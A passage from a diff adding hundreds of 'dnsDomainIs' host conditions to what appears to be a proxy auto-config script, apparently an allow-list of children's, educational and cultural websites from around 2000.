+ || dnsDomainIs(host, "64.94.206.8")
+
+ || dnsDomainIs(host, "abc.go.com")
+ || dnsDomainIs(host, "acmepet.petsmart.com")
+ || dnsDomainIs(host, "adver-net.com")
+ || dnsDomainIs(host, "aint-it-cool-news.com")
+ || dnsDomainIs(host, "akidsheart.com")
+ || dnsDomainIs(host, "alabanza.com")
+ || dnsDomainIs(host, "allerdays.com")
+ || dnsDomainIs(host, "allgame.com")
+ || dnsDomainIs(host, "allowancenet.com")
+ || dnsDomainIs(host, "amish-heartland.com")
+ || dnsDomainIs(host, "ancienthistory.about.com")
+ || dnsDomainIs(host, "animals.about.com")
+ || dnsDomainIs(host, "antenna.nl")
+ || dnsDomainIs(host, "arcweb.sos.state.or.us")
+ || dnsDomainIs(host, "artistmummer.homestead.com")
+ || dnsDomainIs(host, "artists.vh1.com")
+ || dnsDomainIs(host, "arts.lausd.k12.ca.us")
+ || dnsDomainIs(host, "asiatravel.com")
+ || dnsDomainIs(host, "asterius.com")
+ || dnsDomainIs(host, "atlas.gc.ca")
+ || dnsDomainIs(host, "atschool.eduweb.co.uk")
+ || dnsDomainIs(host, "ayya.pd.net")
+ || dnsDomainIs(host, "babelfish.altavista.com")
+ || dnsDomainIs(host, "babylon5.warnerbros.com")
+ || dnsDomainIs(host, "banzai.neosoft.com")
+ || dnsDomainIs(host, "barneyonline.com")
+ || dnsDomainIs(host, "baroque-music.com")
+ || dnsDomainIs(host, "barsoom.msss.com")
+ || dnsDomainIs(host, "baseball-almanac.com")
+ || dnsDomainIs(host, "bcadventure.com")
+ || dnsDomainIs(host, "beadiecritters.hosting4less.com")
+ || dnsDomainIs(host, "beverlyscrafts.com")
+ || dnsDomainIs(host, "biology.about.com")
+ || dnsDomainIs(host, "birding.about.com")
+ || dnsDomainIs(host, "boatsafe.com")
+ || dnsDomainIs(host, "bombpop.com")
+ || dnsDomainIs(host, "boulter.com")
+ || dnsDomainIs(host, "bright-ideas-software.com")
+ || dnsDomainIs(host, "buckman.pps.k12.or.us")
+ || dnsDomainIs(host, "buffalobills.com")
+ || dnsDomainIs(host, "bvsd.k12.co.us")
+ || dnsDomainIs(host, "cagle.slate.msn.com")
+ || dnsDomainIs(host, "calc.entisoft.com")
+ || dnsDomainIs(host, "canada.gc.ca")
+ || dnsDomainIs(host, "candleandsoap.about.com")
+ || dnsDomainIs(host, "caselaw.lp.findlaw.com")
+ || dnsDomainIs(host, "catalog.com")
+ || dnsDomainIs(host, "catalog.socialstudies.com")
+ || dnsDomainIs(host, "cavern.com")
+ || dnsDomainIs(host, "cbs.sportsline.com")
+ || dnsDomainIs(host, "cc.matsuyama-u.ac.jp")
+ || dnsDomainIs(host, "celt.net")
+ || dnsDomainIs(host, "cgfa.kelloggcreek.com")
+ || dnsDomainIs(host, "channel4000.com")
+ || dnsDomainIs(host, "chess.delorie.com")
+ || dnsDomainIs(host, "chess.liveonthenet.com")
+ || dnsDomainIs(host, "childfun.com")
+ || dnsDomainIs(host, "christmas.com")
+ || dnsDomainIs(host, "citystar.com")
+ || dnsDomainIs(host, "claim.goldrush.com")
+ || dnsDomainIs(host, "clairerosemaryjane.com")
+ || dnsDomainIs(host, "clevermedia.com")
+ || dnsDomainIs(host, "cobblestonepub.com")
+ || dnsDomainIs(host, "codebrkr.infopages.net")
+ || dnsDomainIs(host, "colitz.com")
+ || dnsDomainIs(host, "collections.ic.gc.ca")
+ || dnsDomainIs(host, "coloquio.com")
+ || dnsDomainIs(host, "come.to")
+ || dnsDomainIs(host, "coombs.anu.edu.au")
+ || dnsDomainIs(host, "crafterscommunity.com")
+ || dnsDomainIs(host, "craftsforkids.about.com")
+ || dnsDomainIs(host, "creativity.net")
+ || dnsDomainIs(host, "cslewis.drzeus.net")
+ || dnsDomainIs(host, "cust.idl.com.au")
+ || dnsDomainIs(host, "cvs.anu.edu.au")
+ || dnsDomainIs(host, "cybersleuth-kids.com")
+ || dnsDomainIs(host, "cybertown.com")
+ || dnsDomainIs(host, "darkfish.com")
+ || dnsDomainIs(host, "datadragon.com")
+ || dnsDomainIs(host, "davesite.com")
+ || dnsDomainIs(host, "dbertens.www.cistron.nl")
+ || dnsDomainIs(host, "detnews.com")
+ || dnsDomainIs(host, "dhr.dos.state.fl.us")
+ || dnsDomainIs(host, "dialspace.dial.pipex.com")
+ || dnsDomainIs(host, "dictionaries.travlang.com")
+ || dnsDomainIs(host, "disney.go.com")
+ || dnsDomainIs(host, "disneyland.disney.go.com")
+ || dnsDomainIs(host, "district.gresham.k12.or.us")
+ || dnsDomainIs(host, "dmarie.com")
+ || dnsDomainIs(host, "dreamwater.com")
+ || dnsDomainIs(host, "duke.fuse.net")
+ || dnsDomainIs(host, "earlyamerica.com")
+ || dnsDomainIs(host, "earthsky.com")
+ || dnsDomainIs(host, "easyweb.easynet.co.uk")
+ || dnsDomainIs(host, "ecards1.bansheeweb.com")
+ || dnsDomainIs(host, "edugreen.teri.res.in")
+ || dnsDomainIs(host, "edwardlear.tripod.com")
+ || dnsDomainIs(host, "eelink.net")
+ || dnsDomainIs(host, "elizabethsings.com")
+ || dnsDomainIs(host, "enature.com")
+ || dnsDomainIs(host, "encarta.msn.com")
+ || dnsDomainIs(host, "endangeredspecie.com")
+ || dnsDomainIs(host, "enterprise.america.com")
+ || dnsDomainIs(host, "ericae.net")
+ || dnsDomainIs(host, "esl.about.com")
+ || dnsDomainIs(host, "eveander.com")
+ || dnsDomainIs(host, "exn.ca")
+ || dnsDomainIs(host, "fallscam.niagara.com")
+ || dnsDomainIs(host, "family.go.com")
+ || dnsDomainIs(host, "family2.go.com")
+ || dnsDomainIs(host, "familyeducation.com")
+ || dnsDomainIs(host, "finditquick.com")
+ || dnsDomainIs(host, "fln-bma.yazigi.com.br")
+ || dnsDomainIs(host, "fln-con.yazigi.com.br")
+ || dnsDomainIs(host, "food.epicurious.com")
+ || dnsDomainIs(host, "forums.sympatico.ca")
+ || dnsDomainIs(host, "fotw.vexillum.com")
+ || dnsDomainIs(host, "fox.nstn.ca")
+ || dnsDomainIs(host, "framingham.com")
+ || dnsDomainIs(host, "freevote.com")
+ || dnsDomainIs(host, "freeweb.pdq.net")
+ || dnsDomainIs(host, "games.yahoo.com")
+ || dnsDomainIs(host, "gardening.sierrahome.com")
+ || dnsDomainIs(host, "gardenofpraise.com")
+ || dnsDomainIs(host, "gcclearn.gcc.cc.va.us")
+ || dnsDomainIs(host, "genealogytoday.com")
+ || dnsDomainIs(host, "genesis.ne.mediaone.net")
+ || dnsDomainIs(host, "geniefind.com")
+ || dnsDomainIs(host, "geography.about.com")
+ || dnsDomainIs(host, "gf.state.wy.us")
+ || dnsDomainIs(host, "gi.grolier.com")
+ || dnsDomainIs(host, "golf.com")
+ || dnsDomainIs(host, "greatseal.com")
+ || dnsDomainIs(host, "guardians.net")
+ || dnsDomainIs(host, "hamlet.hypermart.net")
+ || dnsDomainIs(host, "happypuppy.com")
+ || dnsDomainIs(host, "harcourt.fsc.follett.com")
+ || dnsDomainIs(host, "haringkids.com")
+ || dnsDomainIs(host, "harrietmaysavitz.com")
+ || dnsDomainIs(host, "harrypotter.warnerbros.com")
+ || dnsDomainIs(host, "hca.gilead.org.il")
+ || dnsDomainIs(host, "header.future.easyspace.com")
+ || dnsDomainIs(host, "historymedren.about.com")
+ || dnsDomainIs(host, "home.att.net")
+ || dnsDomainIs(host, "home.austin.rr.com")
+ || dnsDomainIs(host, "home.capu.net")
+ || dnsDomainIs(host, "home.cfl.rr.com")
+ || dnsDomainIs(host, "home.clara.net")
+ || dnsDomainIs(host, "home.clear.net.nz")
+ || dnsDomainIs(host, "home.earthlink.net")
+ || dnsDomainIs(host, "home.eznet.net")
+ || dnsDomainIs(host, "home.flash.net")
+ || dnsDomainIs(host, "home.hiwaay.net")
+ || dnsDomainIs(host, "home.hkstar.com")
+ || dnsDomainIs(host, "home.ici.net")
+ || dnsDomainIs(host, "home.inreach.com")
+ || dnsDomainIs(host, "home.interlynx.net")
+ || dnsDomainIs(host, "home.istar.ca")
+ || dnsDomainIs(host, "home.mira.net")
+ || dnsDomainIs(host, "home.nycap.rr.com")
+ || dnsDomainIs(host, "home.online.no")
+ || dnsDomainIs(host, "home.pb.net")
+ || dnsDomainIs(host, "home2.pacific.net.sg")
+ || dnsDomainIs(host, "homearts.com")
+ || dnsDomainIs(host, "homepage.mac.com")
+ || dnsDomainIs(host, "hometown.aol.com")
+ || dnsDomainIs(host, "homiliesbyemail.com")
+ || dnsDomainIs(host, "hotei.fix.co.jp")
+ || dnsDomainIs(host, "hotwired.lycos.com")
+ || dnsDomainIs(host, "hp.vector.co.jp")
+ || dnsDomainIs(host, "hum.amu.edu.pl")
+ || dnsDomainIs(host, "i-cias.com")
+ || dnsDomainIs(host, "icatapults.freeservers.com")
+ || dnsDomainIs(host, "ind.cioe.com")
+ || dnsDomainIs(host, "info.ex.ac.uk")
+ || dnsDomainIs(host, "infocan.gc.ca")
+ || dnsDomainIs(host, "infoservice.gc.ca")
+ || dnsDomainIs(host, "interoz.com")
+ || dnsDomainIs(host, "ireland.iol.ie")
+ || dnsDomainIs(host, "is.dal.ca")
+ || dnsDomainIs(host, "itss.raytheon.com")
+ || dnsDomainIs(host, "iul.com")
+ || dnsDomainIs(host, "jameswhitcombriley.com")
+ || dnsDomainIs(host, "jellieszone.com")
+ || dnsDomainIs(host, "jordan.sportsline.com")
+ || dnsDomainIs(host, "judyanddavid.com")
+ || dnsDomainIs(host, "jurai.murdoch.edu.au")
+ || dnsDomainIs(host, "just.about.com")
+ || dnsDomainIs(host, "kayleigh.tierranet.com")
+ || dnsDomainIs(host, "kcwingwalker.tripod.com")
+ || dnsDomainIs(host, "kidexchange.about.com")
+ || dnsDomainIs(host, "kids-world.colgatepalmolive.com")
+ || dnsDomainIs(host, "kids.mysterynet.com")
+ || dnsDomainIs(host, "kids.ot.com")
+ || dnsDomainIs(host, "kidsartscrafts.about.com")
+ || dnsDomainIs(host, "kidsastronomy.about.com")
+ || dnsDomainIs(host, "kidscience.about.com")
+ || dnsDomainIs(host, "kidscience.miningco.com")
+ || dnsDomainIs(host, "kidscollecting.about.com")
+ || dnsDomainIs(host, "kidsfun.co.uk")
+ || dnsDomainIs(host, "kidsinternet.about.com")
+ || dnsDomainIs(host, "kidslangarts.about.com")
+ || dnsDomainIs(host, "kidspenpals.about.com")
+ || dnsDomainIs(host, "kitecast.com")
+ || dnsDomainIs(host, "knight.city.ba.k12.md.us")
+ || dnsDomainIs(host, "kodak.com")
+ || dnsDomainIs(host, "kwanzaa4kids.homestead.com")
+ || dnsDomainIs(host, "lagos.africaonline.com")
+ || dnsDomainIs(host, "lancearmstrong.com")
+ || dnsDomainIs(host, "landru.i-link-2.net")
+ || dnsDomainIs(host, "lang.nagoya-u.ac.jp")
+ || dnsDomainIs(host, "lascala.milano.it")
+ || dnsDomainIs(host, "latinoculture.about.com")
+ || dnsDomainIs(host, "litcal.yasuda-u.ac.jp")
+ || dnsDomainIs(host, "littlebit.com")
+ || dnsDomainIs(host, "live.edventures.com")
+ || dnsDomainIs(host, "look.net")
+ || dnsDomainIs(host, "lycoskids.infoplease.com")
+ || dnsDomainIs(host, "lynx.uio.no")
+ || dnsDomainIs(host, "macdict.dict.mq.edu.au")
+ || dnsDomainIs(host, "maori.culture.co.nz")
+ || dnsDomainIs(host, "marktwain.about.com")
+ || dnsDomainIs(host, "marktwain.miningco.com")
+ || dnsDomainIs(host, "mars2030.net")
+ || dnsDomainIs(host, "martin.parasitology.mcgill.ca")
+ || dnsDomainIs(host, "martinlutherking.8m.com")
+ || dnsDomainIs(host, "mastercollector.com")
+ || dnsDomainIs(host, "mathcentral.uregina.ca")
+ || dnsDomainIs(host, "members.aol.com")
+ || dnsDomainIs(host, "members.carol.net")
+ || dnsDomainIs(host, "members.cland.net")
+ || dnsDomainIs(host, "members.cruzio.com")
+ || dnsDomainIs(host, "members.easyspace.com")
+ || dnsDomainIs(host, "members.eisa.net.au")
+ || dnsDomainIs(host, "members.home.net")
+ || dnsDomainIs(host, "members.iinet.net.au")
+ || dnsDomainIs(host, "members.nbci.com")
+ || dnsDomainIs(host, "members.ozemail.com.au")
+ || dnsDomainIs(host, "members.surfsouth.com")
+ || dnsDomainIs(host, "members.theglobe.com")
+ || dnsDomainIs(host, "members.tripod.com")
+ || dnsDomainIs(host, "mexplaza.udg.mx")
+ || dnsDomainIs(host, "mgfx.com")
+ || dnsDomainIs(host, "microimg.com")
+ || dnsDomainIs(host, "midusa.net")
+ || dnsDomainIs(host, "mildan.com")
+ || dnsDomainIs(host, "millennianet.com")
+ || dnsDomainIs(host, "mindbreakers.e-fun.nu")
+ || dnsDomainIs(host, "missjanet.xs4all.nl")
+ || dnsDomainIs(host, "mistral.culture.fr")
+ || dnsDomainIs(host, "mobileation.com")
+ || dnsDomainIs(host, "mrshowbiz.go.com")
+ || dnsDomainIs(host, "ms.simplenet.com")
+ || dnsDomainIs(host, "museum.gov.ns.ca")
+ || dnsDomainIs(host, "music.excite.com")
+ || dnsDomainIs(host, "musicfinder.yahoo.com")
+ || dnsDomainIs(host, "my.freeway.net")
+ || dnsDomainIs(host, "mytrains.com")
+ || dnsDomainIs(host, "nativeauthors.com")
+ || dnsDomainIs(host, "nba.com")
+ || dnsDomainIs(host, "nch.ari.net")
+ || dnsDomainIs(host, "neonpeach.tripod.com")
+ || dnsDomainIs(host, "net.indra.com")
+ || dnsDomainIs(host, "ngeorgia.com")
+ || dnsDomainIs(host, "ngp.ngpc.state.ne.us")
+ || dnsDomainIs(host, "nhd.heinle.com")
+ || dnsDomainIs(host, "nick.com")
+ || dnsDomainIs(host, "normandy.eb.com")
+ || dnsDomainIs(host, "northshore.shore.net")
+ || dnsDomainIs(host, "now2000.com")
+ || dnsDomainIs(host, "npc.nunavut.ca")
+ || dnsDomainIs(host, "ns2.carib-link.net")
+ || dnsDomainIs(host, "ntl.sympatico.ca")
+ || dnsDomainIs(host, "oceanographer.navy.mil")
+ || dnsDomainIs(host, "oddens.geog.uu.nl")
+ || dnsDomainIs(host, "officialcitysites.com")
+ || dnsDomainIs(host, "oneida-nation.net")
+ || dnsDomainIs(host, "onlinegeorgia.com")
+ || dnsDomainIs(host, "originator_2.tripod.com")
+ || dnsDomainIs(host, "ortech-engr.com")
+ || dnsDomainIs(host, "osage.voorhees.k12.nj.us")
+ || dnsDomainIs(host, "osiris.sund.ac.uk")
+ || dnsDomainIs(host, "ourworld.compuserve.com")
+ || dnsDomainIs(host, "outdoorphoto.com")
+ || dnsDomainIs(host, "pages.map.com")
+ || dnsDomainIs(host, "pages.prodigy.com")
+ || dnsDomainIs(host, "pages.prodigy.net")
+ || dnsDomainIs(host, "pages.tca.net")
+ || dnsDomainIs(host, "parcsafari.qc.ca")
+ || dnsDomainIs(host, "parenthoodweb.com")
+ || dnsDomainIs(host, "pathfinder.com")
+ || dnsDomainIs(host, "people.clarityconnect.com")
+ || dnsDomainIs(host, "people.enternet.com.au")
+ || dnsDomainIs(host, "people.ne.mediaone.net")
+ || dnsDomainIs(host, "phonics.jazzles.com")
+ || dnsDomainIs(host, "pibburns.com")
+ || dnsDomainIs(host, "pilgrims.net")
+ || dnsDomainIs(host, "pinenet.com")
+ || dnsDomainIs(host, "place.scholastic.com")
+ || dnsDomainIs(host, "playground.kodak.com")
+ || dnsDomainIs(host, "politicalgraveyard.com")
+ || dnsDomainIs(host, "polk.ga.net")
+ || dnsDomainIs(host, "pompstory.home.mindspring.com")
+ || dnsDomainIs(host, "popularmechanics.com")
+ || dnsDomainIs(host, "projects.edtech.sandi.net")
+ || dnsDomainIs(host, "psyche.usno.navy.mil")
+ || dnsDomainIs(host, "pubweb.parc.xerox.com")
+ || dnsDomainIs(host, "puzzlemaker.school.discovery.com")
+ || dnsDomainIs(host, "quest.classroom.com")
+ || dnsDomainIs(host, "quilting.about.com")
+ || dnsDomainIs(host, "rabbitmoon.home.mindspring.com")
+ || dnsDomainIs(host, "radio.cbc.ca")
+ || dnsDomainIs(host, "rats2u.com")
+ || dnsDomainIs(host, "rbcm1.rbcm.gov.bc.ca")
+ || dnsDomainIs(host, "readplay.com")
+ || dnsDomainIs(host, "recipes4children.homestead.com")
+ || dnsDomainIs(host, "redsox.com")
+ || dnsDomainIs(host, "renaissance.district96.k12.il.us")
+ || dnsDomainIs(host, "rhyme.lycos.com")
+ || dnsDomainIs(host, "rhythmweb.com")
+ || dnsDomainIs(host, "riverresource.com")
+ || dnsDomainIs(host, "rockhoundingar.com")
+ || dnsDomainIs(host, "rockies.mlb.com")
+ || dnsDomainIs(host, "rosecity.net")
+ || dnsDomainIs(host, "rr-vs.informatik.uni-ulm.de")
+ || dnsDomainIs(host, "rubens.anu.edu.au")
+ || dnsDomainIs(host, "rummelplatz.uni-mannheim.de")
+ || dnsDomainIs(host, "sandbox.xerox.com")
+ || dnsDomainIs(host, "sarah.fredart.com")
+ || dnsDomainIs(host, "schmidel.com")
+ || dnsDomainIs(host, "scholastic.com")
+ || dnsDomainIs(host, "school.discovery.com")
+ || dnsDomainIs(host, "schoolcentral.com")
+ || dnsDomainIs(host, "seattletimes.nwsource.com")
+ || dnsDomainIs(host, "sericulum.com")
+ || dnsDomainIs(host, "sf.airforce.com")
+ || dnsDomainIs(host, "shop.usps.com")
+ || dnsDomainIs(host, "showcase.netins.net")
+ || dnsDomainIs(host, "sikids.com")
+ || dnsDomainIs(host, "sites.huji.ac.il")
+ || dnsDomainIs(host, "sjliving.com")
+ || dnsDomainIs(host, "skullduggery.com")
+ || dnsDomainIs(host, "skyways.lib.ks.us")
+ || dnsDomainIs(host, "snowdaymovie.nick.com")
+ || dnsDomainIs(host, "sosa21.hypermart.net")
+ || dnsDomainIs(host, "soundamerica.com")
+ || dnsDomainIs(host, "spaceboy.nasda.go.jp")
+ || dnsDomainIs(host, "sports.nfl.com")
+ || dnsDomainIs(host, "sportsillustrated.cnn.com")
+ || dnsDomainIs(host, "starwars.hasbro.com")
+ || dnsDomainIs(host, "statelibrary.dcr.state.nc.us")
+ || dnsDomainIs(host, "streetplay.com")
+ || dnsDomainIs(host, "sts.gsc.nrcan.gc.ca")
+ || dnsDomainIs(host, "sunniebunniezz.com")
+ || dnsDomainIs(host, "sunsite.nus.edu.sg")
+ || dnsDomainIs(host, "sunsite.sut.ac.jp")
+ || dnsDomainIs(host, "superm.bart.nl")
+ || dnsDomainIs(host, "surf.to")
+ || dnsDomainIs(host, "svinet2.fs.fed.us")
+ || dnsDomainIs(host, "swiminfo.com")
+ || dnsDomainIs(host, "tabletennis.about.com")
+ || dnsDomainIs(host, "teacher.scholastic.com")
+ || dnsDomainIs(host, "theforce.net")
+ || dnsDomainIs(host, "thejessicas.homestead.com")
+ || dnsDomainIs(host, "themes.editthispage.com")
+ || dnsDomainIs(host, "theory.uwinnipeg.ca")
+ || dnsDomainIs(host, "theshadowlands.net")
+ || dnsDomainIs(host, "thinks.com")
+ || dnsDomainIs(host, "thryomanes.tripod.com")
+ || dnsDomainIs(host, "time_zone.tripod.com")
+ || dnsDomainIs(host, "titania.cobuild.collins.co.uk")
+ || dnsDomainIs(host, "torre.duomo.pisa.it")
+ || dnsDomainIs(host, "touregypt.net")
+ || dnsDomainIs(host, "toycollecting.about.com")
+ || dnsDomainIs(host, "trace.ntu.ac.uk")
+ || dnsDomainIs(host, "travelwithkids.about.com")
+ || dnsDomainIs(host, "tukids.tucows.com")
+ || dnsDomainIs(host, "tv.yahoo.com")
+ || dnsDomainIs(host, "tycho.usno.navy.mil")
+ || dnsDomainIs(host, "ubl.artistdirect.com")
+ || dnsDomainIs(host, "uk-pages.net")
+ || dnsDomainIs(host, "ukraine.uazone.net")
+ || dnsDomainIs(host, "unmuseum.mus.pa.us")
+ || dnsDomainIs(host, "us.imdb.com")
+ || dnsDomainIs(host, "userpage.chemie.fu-berlin.de")
+ || dnsDomainIs(host, "userpage.fu-berlin.de")
+ || dnsDomainIs(host, "userpages.aug.com")
+ || dnsDomainIs(host, "users.aol.com")
+ || dnsDomainIs(host, "users.bigpond.net.au")
+ || dnsDomainIs(host, "users.breathemail.net")
+ || dnsDomainIs(host, "users.erols.com")
+ || dnsDomainIs(host, "users.imag.net")
+ || dnsDomainIs(host, "users.inetw.net")
+ || dnsDomainIs(host, "users.massed.net")
+ || dnsDomainIs(host, "users.skynet.be")
+ || dnsDomainIs(host, "users.uniserve.com")
+ || dnsDomainIs(host, "venus.spaceports.com")
+ || dnsDomainIs(host, "vgstrategies.about.com")
+ || dnsDomainIs(host, "victorian.fortunecity.com")
+ || dnsDomainIs(host, "vilenski.com")
+ || dnsDomainIs(host, "village.infoweb.ne.jp")
+ || dnsDomainIs(host, "virtual.finland.fi")
+ || dnsDomainIs(host, "vrml.fornax.hu")
+ || dnsDomainIs(host, "vvv.com")
+ || dnsDomainIs(host, "w1.xrefer.com")
+ || dnsDomainIs(host, "w3.one.net")
+ || dnsDomainIs(host, "w3.rz-berlin.mpg.de")
+ || dnsDomainIs(host, "w3.trib.com")
+ || dnsDomainIs(host, "wallofsound.go.com")
+ || dnsDomainIs(host, "web.aimnet.com")
+ || dnsDomainIs(host, "web.ccsd.k12.wy.us")
+ || dnsDomainIs(host, "web.cs.ualberta.ca")
+ || dnsDomainIs(host, "web.idirect.com")
+ || dnsDomainIs(host, "web.kyoto-inet.or.jp")
+ || dnsDomainIs(host, "web.macam98.ac.il")
+ || dnsDomainIs(host, "web.massvacation.com")
+ || dnsDomainIs(host, "web.one.net.au")
+ || dnsDomainIs(host, "web.qx.net")
+ || dnsDomainIs(host, "web.uvic.ca")
+ || dnsDomainIs(host, "web2.airmail.net")
+ || dnsDomainIs(host, "webcoast.com")
+ || dnsDomainIs(host, "webgames.kalisto.com")
+ || dnsDomainIs(host, "webhome.idirect.com")
+ || dnsDomainIs(host, "webpages.homestead.com")
+ || dnsDomainIs(host, "webrum.uni-mannheim.de")
+ || dnsDomainIs(host, "webusers.anet-stl.com")
+ || dnsDomainIs(host, "welcome.to")
+ || dnsDomainIs(host, "wgntv.com")
+ || dnsDomainIs(host, "whales.magna.com.au")
+ || dnsDomainIs(host, "wildheart.com")
+ || dnsDomainIs(host, "wilstar.net")
+ || dnsDomainIs(host, "winter-wonderland.com")
+ || dnsDomainIs(host, "women.com")
+ || dnsDomainIs(host, "woodrow.mpls.frb.fed.us")
+ || dnsDomainIs(host, "wordzap.com")
+ || dnsDomainIs(host, "worldkids.net")
+ || dnsDomainIs(host, "worldwideguide.net")
+ || dnsDomainIs(host, "ww3.bay.k12.fl.us")
+ || dnsDomainIs(host, "ww3.sportsline.com")
+ || dnsDomainIs(host, "www-groups.dcs.st-and.ac.uk")
+ || dnsDomainIs(host, "www-public.rz.uni-duesseldorf.de")
+ || dnsDomainIs(host, "www.1stkids.com")
+ || dnsDomainIs(host, "www.2020tech.com")
+ || dnsDomainIs(host, "www.21stcenturytoys.com")
+ || dnsDomainIs(host, "www.4adventure.com")
+ || dnsDomainIs(host, "www.50states.com")
+ || dnsDomainIs(host, "www.800padutch.com")
+ || dnsDomainIs(host, "www.88.com")
+ || dnsDomainIs(host, "www.a-better.com")
+ || dnsDomainIs(host, "www.aaa.com.au")
+ || dnsDomainIs(host, "www.aacca.com")
+ || dnsDomainIs(host, "www.aalbc.com")
+ || dnsDomainIs(host, "www.aardman.com")
+ || dnsDomainIs(host, "www.aardvarkelectric.com")
+ || dnsDomainIs(host, "www.aawc.com")
+ || dnsDomainIs(host, "www.ababmx.com")
+ || dnsDomainIs(host, "www.abbeville.com")
+ || dnsDomainIs(host, "www.abc.net.au")
+ || dnsDomainIs(host, "www.abcb.com")
+ || dnsDomainIs(host, "www.abctooncenter.com")
+ || dnsDomainIs(host, "www.about.ch")
+ || dnsDomainIs(host, "www.accessart.org.uk")
+ || dnsDomainIs(host, "www.accu.or.jp")
+ || dnsDomainIs(host, "www.accuweather.com")
+ || dnsDomainIs(host, "www.achuka.co.uk")
+ || dnsDomainIs(host, "www.acmecity.com")
+ || dnsDomainIs(host, "www.acorn-group.com")
+ || dnsDomainIs(host, "www.acs.ucalgary.ca")
+ || dnsDomainIs(host, "www.actden.com")
+ || dnsDomainIs(host, "www.actionplanet.com")
+ || dnsDomainIs(host, "www.activityvillage.co.uk")
+ || dnsDomainIs(host, "www.actwin.com")
+ || dnsDomainIs(host, "www.adequate.com")
+ || dnsDomainIs(host, "www.adidas.com")
+ || dnsDomainIs(host, "www.advent-calendars.com")
+ || dnsDomainIs(host, "www.aegis.com")
+ || dnsDomainIs(host, "www.af.mil")
+ || dnsDomainIs(host, "www.africaindex.africainfo.no")
+ || dnsDomainIs(host, "www.africam.com")
+ || dnsDomainIs(host, "www.africancrafts.com")
+ || dnsDomainIs(host, "www.aggressive.com")
+ || dnsDomainIs(host, "www.aghines.com")
+ || dnsDomainIs(host, "www.agirlsworld.com")
+ || dnsDomainIs(host, "www.agora.stm.it")
+ || dnsDomainIs(host, "www.agriculture.com")
+ || dnsDomainIs(host, "www.aikidofaq.com")
+ || dnsDomainIs(host, "www.ajkids.com")
+ || dnsDomainIs(host, "www.akfkoala.gil.com.au")
+ || dnsDomainIs(host, "www.akhlah.com")
+ || dnsDomainIs(host, "www.alabamainfo.com")
+ || dnsDomainIs(host, "www.aland.fi")
+ || dnsDomainIs(host, "www.albion.com")
+ || dnsDomainIs(host, "www.alcoholismhelp.com")
+ || dnsDomainIs(host, "www.alcottweb.com")
+ || dnsDomainIs(host, "www.alfanet.it")
+ || dnsDomainIs(host, "www.alfy.com")
+ || dnsDomainIs(host, "www.algebra-online.com")
+ || dnsDomainIs(host, "www.alienexplorer.com")
+ || dnsDomainIs(host, "www.aliensatschool.com")
+ || dnsDomainIs(host, "www.all-links.com")
+ || dnsDomainIs(host, "www.alldetroit.com")
+ || dnsDomainIs(host, "www.allexperts.com")
+ || dnsDomainIs(host, "www.allmixedup.com")
+ || dnsDomainIs(host, "www.allmusic.com")
+ || dnsDomainIs(host, "www.almanac.com")
+ || dnsDomainIs(host, "www.almaz.com")
+ || dnsDomainIs(host, "www.almondseed.com")
+ || dnsDomainIs(host, "www.aloha.com")
+ || dnsDomainIs(host, "www.aloha.net")
+ || dnsDomainIs(host, "www.altonweb.com")
+ || dnsDomainIs(host, "www.alyeska-pipe.com")
+ || dnsDomainIs(host, "www.am-wood.com")
+ || dnsDomainIs(host, "www.amazingadventure.com")
+ || dnsDomainIs(host, "www.amazon.com")
+ || dnsDomainIs(host, "www.americancheerleader.com")
+ || dnsDomainIs(host, "www.americancowboy.com")
+ || dnsDomainIs(host, "www.americangirl.com")
+ || dnsDomainIs(host, "www.americanparknetwork.com")
+ || dnsDomainIs(host, "www.americansouthwest.net")
+ || dnsDomainIs(host, "www.americanwest.com")
+ || dnsDomainIs(host, "www.ameritech.net")
+ || dnsDomainIs(host, "www.amtexpo.com")
+ || dnsDomainIs(host, "www.anbg.gov.au")
+ || dnsDomainIs(host, "www.anc.org.za")
+ || dnsDomainIs(host, "www.ancientegypt.co.uk")
+ || dnsDomainIs(host, "www.angelfire.com")
+ || dnsDomainIs(host, "www.angelsbaseball.com")
+ || dnsDomainIs(host, "www.anholt.co.uk")
+ || dnsDomainIs(host, "www.animabets.com")
+ || dnsDomainIs(host, "www.animalnetwork.com")
+ || dnsDomainIs(host, "www.animalpicturesarchive.com")
+ || dnsDomainIs(host, "www.anime-genesis.com")
+ || dnsDomainIs(host, "www.annefrank.com")
+ || dnsDomainIs(host, "www.annefrank.nl")
+ || dnsDomainIs(host, "www.annie75.com")
+ || dnsDomainIs(host, "www.antbee.com")
+ || dnsDomainIs(host, "www.antiquetools.com")
+ || dnsDomainIs(host, "www.antiquetoy.com")
+ || dnsDomainIs(host, "www.anzsbeg.org.au")
+ || dnsDomainIs(host, "www.aol.com")
+ || dnsDomainIs(host, "www.aone.com")
+ || dnsDomainIs(host, "www.aphids.com")
+ || dnsDomainIs(host, "www.apl.com")
+ || dnsDomainIs(host, "www.aplusmath.com")
+ || dnsDomainIs(host, "www.applebookshop.co.uk")
+ || dnsDomainIs(host, "www.appropriatesoftware.com")
+ || dnsDomainIs(host, "www.appukids.com")
+ || dnsDomainIs(host, "www.april-joy.com")
+ || dnsDomainIs(host, "www.arab.net")
+ || dnsDomainIs(host, "www.aracnet.com")
+ || dnsDomainIs(host, "www.arborday.com")
+ || dnsDomainIs(host, "www.arcadevillage.com")
+ || dnsDomainIs(host, "www.archiecomics.com")
+ || dnsDomainIs(host, "www.archives.state.al.us")
+ || dnsDomainIs(host, "www.arctic.ca")
+ || dnsDomainIs(host, "www.ardenjohnson.com")
+ || dnsDomainIs(host, "www.aristotle.net")
+ || dnsDomainIs(host, "www.arizhwys.com")
+ || dnsDomainIs(host, "www.arizonaguide.com")
+ || dnsDomainIs(host, "www.arlingtoncemetery.com")
+ || dnsDomainIs(host, "www.armory.com")
+ || dnsDomainIs(host, "www.armwrestling.com")
+ || dnsDomainIs(host, "www.arnprior.com")
+ || dnsDomainIs(host, "www.artabunga.com")
+ || dnsDomainIs(host, "www.artcarte.com")
+ || dnsDomainIs(host, "www.artchive.com")
+ || dnsDomainIs(host, "www.artcontest.com")
+ || dnsDomainIs(host, "www.artcyclopedia.com")
+ || dnsDomainIs(host, "www.artisandevelopers.com")
+ || dnsDomainIs(host, "www.artlex.com")
+ || dnsDomainIs(host, "www.artsandkids.com")
+ || dnsDomainIs(host, "www.artyastro.com")
+ || dnsDomainIs(host, "www.arwhead.com")
+ || dnsDomainIs(host, "www.asahi-net.or.jp")
+ || dnsDomainIs(host, "www.asap.unimelb.edu.au")
+ || dnsDomainIs(host, "www.ascpl.lib.oh.us")
+ || dnsDomainIs(host, "www.asia-art.net")
+ || dnsDomainIs(host, "www.asiabigtime.com")
